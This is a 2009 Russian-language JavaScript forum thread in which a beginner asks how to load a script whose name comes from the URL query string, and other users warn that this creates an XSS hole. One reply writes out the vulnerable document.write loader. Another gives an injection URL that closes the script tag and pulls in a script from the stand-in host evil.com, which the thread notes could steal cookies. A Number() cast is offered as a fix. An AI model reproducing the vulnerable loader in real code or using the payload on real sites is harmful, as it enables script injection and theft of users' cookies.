Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   Загрузка внешнего скрипта... (https://javascript.ru/forum/misc/2615-zagruzka-vneshnego-skripta.html)

viliv 23.01.2009 15:32

Загрузка внешнего скрипта...
 
Раньше нужно было загружать только один внешний скрипт... и все было гуд...

<script TYPE="text/javascript" LANGUAGE="JavaScript" src="1000.js"></script>


теперь появилась необходимость загружать больше, первое, что пришло в голову - взять данные из url'а

www.name.ru/index.htm?1001

<script language="JavaScript">
url=location.search.substring(location.search.lastIndexOf("?")+1,location.search.length);
</script>


1001 - номер нужного скрипта получили, а вот как сделать, что бы загрузился внешний скрипт с таким и менем?

помогите новичку... хелп...

ZoNT 23.01.2009 16:10

ты создал уязвимость своими руками: это потенциальный xss с огромной функцилнальностью...

viliv 23.01.2009 16:44

Цитата:

Сообщение от ZoNT (Сообщение 11257)
ты создал уязвимость своими руками: это потенциальный xss с огромной функцилнальностью...

а в чем тут уязвимость?

Kolyaj 23.01.2009 16:45

Возможность передать в адресной строке, какой скрипт подключить.

По теме: задача-то какая?

viliv 23.01.2009 17:00

Цитата:

Сообщение от Kolyaj (Сообщение 11263)
Возможность передать в адресной строке, какой скрипт подключить.

По теме: задача-то какая?

раньше была ссылка на документ... в документе прописывался внешний скрипт.
Он был один, теперь нужно загружать несколько, вот решил через url это сделать.
добавил в ссылку знак вопроса и номер нужного скрипта.
На странице номер нужного скрипта после вопросика получил, а вот как его в строку вставить незнаю.

<script TYPE="text/javascript" LANGUAGE="JavaScript" src="1000.js"></script>

чтобы вместо 1000.js загружался скрипт имя которого будет стоять в url'е после вопросика...

ZoNT 23.01.2009 17:03

<script language="JavaScript">
var url=location.search.substring(1,location.search.length);
document.write('<script TYPE="text/javascript" src="'+url+'.js"><\/script>')
</script>

но не надо так делать!!!

viliv 23.01.2009 17:13

Цитата:

Сообщение от ZoNT (Сообщение 11265)
<script language="JavaScript">
var url=location.search.substring(1,location.search.length);
document.write('<script TYPE="text/javascript" src="'+url+'.js"><\/script>')
</script>

но не надо так делать!!!

а как можно по другому это сделать?
и в чем опасность?
насколько я знаю xss это с кукисами связано...

ZoNT 23.01.2009 17:16

xss - межсайтовый скриптинг.
Почему плохо:
www.name.ru/index.htm?http://www.evil.com/script
И всё... По этой ссылке на твою страничку вставится скрипт http://www.evil.com/script.js и сделает что угодно (сворует куки, покажет порнорекламу и т.д.)

Kolyaj 23.01.2009 17:17

Что значит
Цитата:

Сообщение от viliv
теперь нужно загружать несколько

Несколько скриптов одновременно нужно загрузить, по отдельности или еще как?

viliv 23.01.2009 17:21

Цитата:

Сообщение от Kolyaj (Сообщение 11268)
Что значит
Несколько скриптов одновременно нужно загрузить, по отдельности или еще как?

нет какойто один, просто нехочу делать кучу одинаковых страниц, а так будет одна но скрипт откроет тот номер которого будет в урле.

viliv 23.01.2009 17:25

Цитата:

Сообщение от ZoNT (Сообщение 11267)
xss - межсайтовый скриптинг.
Почему плохо:
www.name.ru/index.htm?http://www.evil.com/script
И всё... По этой ссылке на твою страничку вставится скрипт http://www.evil.com/script.js и сделает что угодно (сворует куки, покажет порнорекламу и т.д.)

но моя страница index.htm откроет скрипт только с моего сайта... если я его пропишу - document.write('<script TYPE="text/javascript" src="www.name.ru/'+url+'.js">

ZoNT 23.01.2009 17:33

способ вставить свою ссылку всё равно есть, ты уже открыл окно для xss, так что это только вопрос времени (которого у меня сейчас нет, так как я на работе).

Kolyaj 23.01.2009 17:37

Это на стороне сервера делаться должно. Но имя скрипта в урле передавать все равно не надо.

viliv 23.01.2009 17:38

Цитата:

Сообщение от ZoNT (Сообщение 11274)
способ вставить свою ссылку всё равно есть, ты уже открыл окно для xss, так что это только вопрос времени (которого у меня сейчас нет, так как я на работе).

у меня в подгружаемом скрипте только данные которые потом обрабатывет втой скрипт. он сразу рагаться будет о ошибку на странице. наверное.

Подгружается скрипт с этим -
Add("1","10001","17","1.000","15.000","1")

ZoNT 23.01.2009 17:41

можно подгружать свой скрипт, а из него подргужать твой и никто ругаться не будет...

viliv 23.01.2009 18:18

Думаю ничего не получиться...

document.write('<script TYPE="text/javascript" src="www.name.ru/'+url+'.js">
www.name.ru/index.htm?http://www.evil.com/script

и что моя страница откроет? www.name.ru/http://www.evil.com/script.js
думаю ругаться будет.
я уже попоробывал открыть другой скрипт, в котором прописал просто открыть нужный мне. и ничего не получилось встроеный в страницу скрипт сразу ругнулся...

ZoNT 23.01.2009 18:21

не бойся, если у тебя не получилось, это не значит что так нельзя...

viliv 23.01.2009 18:41

Цитата:

Сообщение от ZoNT (Сообщение 11287)
не бойся, если у тебя не получилось, это не значит что так нельзя...

да просто если ты в урле укажешь не имя скрипта, а адрес другого, то браузер выдаст - страница не найдена... он не запустит скрипт с другого сервера.

x-yuri 24.01.2009 01:45

viliv, тебе все правильно советуют. Это лучше делать на сервере, с помощью php или что у тебя там. Если данных в целом немного, можно их все подгрузить. Если же ты все-таки хочешь обойтись без серверного языка, то напиши лучше
document.write('<script TYPE="text/javascript" src="'+Number(url)+'.js"><\/script>')

т.е. будет происходить преобразование в число. Ослаблять это ограничение (только числа) опасно
Хотя мне тоже интересно как можно воспользоваться src="www.name.ru/'+url+'.js"
Скорее всего имелось в виду, что плохо заводить такую привычку. Однажды она тебя подведет ;-)

Gvozd 24.01.2009 03:08

Цитата:

Сообщение от x-yuri
Хотя мне тоже интересно как можно воспользоваться src="www.name.ru/'+url+'.js"

в одной из классических статей по взлому mail.ru используется скрипт редиректа, с помощью которого там проводились шикарные вещи
если на name.ru будет неаккуратный редирект серверный где-нить, то хана.
но и помимо этого простор для творчества есть.это ж ведь немного искуство)))

x-yuri 24.01.2009 03:25

а, ну единственная опасность, которую я вижу в таком случае, что кто-то загрузит на сервер свой скрипт (дырявая загрузка файлов на сервер)

ZoNT 26.01.2009 12:46

вот ссылка для клика:
www.name.ru/index.htm?1.js"></script><script src="http://www.evil.com/script

вот что получится в скрипте:
url = '1.js"></script><script src="http://www.evil.com/script';
document.write('<script TYPE="text/javascript" src="www.name.ru/'+url+'.js"><\/script>')

Итого в документ запишется:
<script TYPE="text/javascript" src="www.name.ru/1.js"></script><script src="http://www.evil.com/script.js"></script>'

x-yuri 26.01.2009 12:50

однако, прям javascript-injection O_o

ZoNT 26.01.2009 12:53

да блин, обычный css на фигово разработанных сайтах...
Я же советую человеку не показывать своё невежество и не делать так. зачем городить такую лабуду? Чтобы потом писать 20 строк кода для проверки передаваемого параметра на безопасность?

x-yuri 26.01.2009 12:56

это
document.write('<script TYPE="text/javascript" src="'+Number(url)+'.js"><\/script>')

на 20 строк не похоже

ZoNT 26.01.2009 13:02

Это поменьше, я согласен. Но всё равно, такой поход (параметр в строке) говорит о том, что на сайте можно немного поискать и найти ещё пару-тройку ошибок...

x-yuri 26.01.2009 13:21

ну скажем так, автору пока опасно применять такой подход


Часовой пояс GMT +3, время: 10:42.